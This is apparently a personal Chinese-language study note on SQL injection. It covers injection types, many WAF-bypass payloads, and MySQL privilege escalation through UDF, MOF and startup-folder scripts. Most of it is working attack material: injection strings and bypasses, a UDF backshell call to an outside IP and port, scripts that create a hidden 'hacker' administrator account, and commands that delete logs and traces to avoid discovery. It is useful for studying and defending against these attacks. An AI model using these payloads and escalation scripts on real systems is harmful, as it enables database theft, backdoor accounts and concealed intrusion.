SQL注入的一些想法
SQL注入原理
1、标准注入流程
-
猜测目标指令内容
-
常见闭合方式 ‘ “ ‘) “) ‘)) “)) 或者无闭合
-
闭合方式的错误如!!!!!重要
select username,password from user where id =('$id') 直接加闭合,如果报错就对了,因为你破坏了正常闭合,如果加闭合不报错,就没有破坏如'"' 是不会报错,但是'''会报错 如果是 or 任何情况都不报错 加上注释--+两次无变化,不是其闭合
-
-
试错
-
验证错误
-
查列
-
查列在页面显示情况
-
查库
version() select banner from v$version uesr() @@datadir -
查表,列
-
查内容
2.报错注入
输入错误报错,但输入正确什么也不显示(不显示需要的东西)
select 1 必须有 然后红色的可以改成需要的 原理 *floor(rand()**2) 返回0或1 当全是1或全是2时group by报错(因为无法分类)
3.布尔盲注
无报错,也无正确显示,但以上两者显示不一样
4.outfile注入和load file注入
如果payload含有闭合的” ‘ 可用十六进制
将信息保存到网站上文件上,直接访问(在本地的sql文件夹里的mysql.ini 加secure_file_priv=)
into outfile “path”
into dumpfile”path”
5.时间盲注
什么也没有
and if (( select ascii(substr(select database(),1,1))= 45 ),sleep(5),null) 判断加载时间
6.POST注入
可以利用burpsuite
$u = _POST["user"]
$p = _POST["passwd"]
select * from table1 where user ="$u" and password ="$p" limit 0,1;
update table set password="$p" where user="$u";
6.头注入
先打个正经的东西
获得我们的信息(收集用户信息)干什么呢 添加到数据库
User-Agent 和Referer和Cookies
update into 'database'.'table' ('user-agent','ip_address','user') values ('user-agent','ip_address','user')
Cookies(刷新后自动登入,意味着刷新抓包)
7.waf注释
| %09 | 水平tab | |
|---|---|---|
| %0a | 新建一行 | |
| %0b | 垂直tab | |
| %0c | 新建一页 | |
| %0d | 回车键 | |
| %a0 | 空格键(大多数) | |
| 0或200000 | 屏蔽减号不报错 | |
| && | ||
将注释符url encode
8.重置密码越权
注册一个新用户,通过修改密码来达到修给高级用户的密码
$old_passwd=_POST['old_passwd']
$passwd1=_POST['passwd1']
$passwd2=_POST['passwd2']
if $passwd1 == $passwd2{
update table set passwd='$passwd1' where user ='$user' and old_passwd='$old_passwd'
}
#user一般是在上一页留下来的cookies
9.宽字节注入
原理
当我们输入‘时会被加入\此时可以加入一个大于128(ASCII)的字符从而使\和字符变成一个汉字
%df’ →%df\’→%df%5c’→字’从而使\无效
| %5c | \ | |
|---|---|---|
| %27 | ‘ | |
| %df%5c 或者%bf%5c或者%aa%5c | 一个中国字 | |
防御 set character_set_client = binary
10.屏蔽
1)union select
-
大小写unNion SelEcT
-
双写ununion seselectect
-
注释符un//ion se//lect 还可以替换空格
-
内联函数 /!select/
-
<>绕过 un<>ion se<>lect
-
反引号
反引号只能在表名,一般情况下如果表名和语法一样,那么就必须用反引号修饰,否则数据库会误以为这是语法!!!!!!!!!!!!!!!!!!!!!!
select username,password from
table1where id='1' limit 0,1
2)编码绕过(多次编码绕过)
比如屏蔽自己的数据库 ‘security’ 可以用他的编码
3)空格和or和and绕过(上有)
4)逗号屏蔽
- substr((select database()),1,1) substr((select database())from 1 for 1)
- select 1,2,3 select * from (select 1)a join (select 2)b join (select 3)c
- limit 0,1 limit 0 offset 1
5)sleep屏蔽
benchmark(100000,1)
6)group_concat屏蔽
concat_ws(“”,’x‘,’y’)
7)=屏蔽
like rlike regexp <>
8)post #屏蔽
—空格a
9)ip地址拦截
X-forwarded-for
X-remote-IP
X-Originating-IP
X-remote-addr
X-Real-Ip
10)修改静态资源
http://www.xx.com/sql.php?id=1
可以替换为
http://www.xx.com/sql.php/1.js?id=1
11)url白名单
为了防止防火墙误伤,部分waf内置白名单列表 admin manager system....
http://www.xx.com/sql.php/admin.php?id=1
http://www.xx.com/sql.php?xxxx=/manager/&b=攻击代码
http://www.xx.com/../../../../manager/../sql.php?id=1
12)爬虫白名单
伪造自己是搜索引擎(修改user-agent)
13)数据库注释执行
/!50001 select * from table1/;
如果数据库版本是5.00.01 版本以下的,语句才会执行
/*!45509 union select */ 1,2,3 --+
14)增加干扰
union all %23%a0 select 1,2,3 --+
11.特殊防御
1)账号密码分离
$query = "SELECT * FROM users WHERE username='$username'";
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
#############################
### This is the new check ###
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
} # End of the new code ###
#############################
SELECT * FROM users WHERE username='$username'
SELECT * FROM users WHERE username=' x' union select 1,'admin',md5('haha') #'
返回的res里面提取的数据是伪造的
2)多个一样的变量
UPDATE noescvotes SET `$who`=`$who`+1 WHERE id=1
?vote_for=bill`=111,`george`=`george
UPDATE noescvotes SET `bill`=111,`george`=`george`=`bill`=111,`george`=`george`+1 WHERE id=1
3)mysql数据库漏洞
4)堆叠注入
屏蔽select update delete insert 语句
原语句为select * from table1 where id = '1';
我们所需信息在table2的secret里面
1'; show databases;
1'; show tables;
1'; show colunms from table1;
rename table `table1` to `xxxx`;
rename table `table2` to `table1`;
alter table `table` change `secret` `id`;
此时键id对应的值为secret的值
之后只需使where成立
1' or '1 就可以查到secret
INSERT INTO table1 (key1,key2) VALUES(”1”,”2”),(database(),”3”)
- sql 分块传输
Transfer-Encoding:Chunked
2
id
2
=1
0
12.提权
-
UDF提权
-
关键文件udf.dll位置
1、 Mysql < 5.0
导出路径随意。
2、 5.0 <= Mysql < 5.1
Win2000导出路径: C:/Winnt/udf.dll
其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll
3、 Mysql >= 5.1
Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。
sqlmap有ib_mysqludf_sys_32.dll将其转换为十六进制创建udf.dll
1)准备工作
确认权限
show variables like '%secure%'; 是否能写入文件
select * from mysql.user where user = substring_index(user(), '@', 1)\G;
确认数据库绝对路径
select @@basedir as basePath from dual ;
show variables like '%basedir%';确认数据库版本信息
select version();
select variables like %complie%
2)将udf.dll导出
sqlmap和msf自带高权限的udf.dll
sqlmap根目录/data/udf/mysql自带加密 可用sqlmap自带的cloakpython3 cloak.py -d -i加密的udf.dll -o udf.dllMSF 根目录/embedded/framework/data/exploits/mysql3)修改udf.dll导入
直接十六进制写入,然后
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'select sys_eval('whoami');drop function sys_eval;删除防止被发现反弹shell
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';select backshell("10.20.24.244", 2333); -
-
MOF提权
winserver2003
构建脚本
**#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };**上传脚本
mysql > select 十六进制的脚本 into dumpfile "C:/windows/system32/wbem/mof/test.mof";清除痕迹
# 停止 winmgmt 服务 net stop winmgmt # 删除 Repository 文件夹 rmdir /s /q C:\Windows\system32\wbem\Repository\ # 手动删除 mof 文件 del C:\Windows\system32\wbem\mof\good\test.mof /F /S # 删除创建的用户 net user hacker /delete # 重新启动服务 net start winmgmt -
启动项提权
vbs脚本
Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.Run "net user hacker P@ssw0rd /add", 0 WshShell.Run "net localgroup administrators hacker /add", 0上传十六进制
C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\test.vbs

浙公网安备 33010602011771号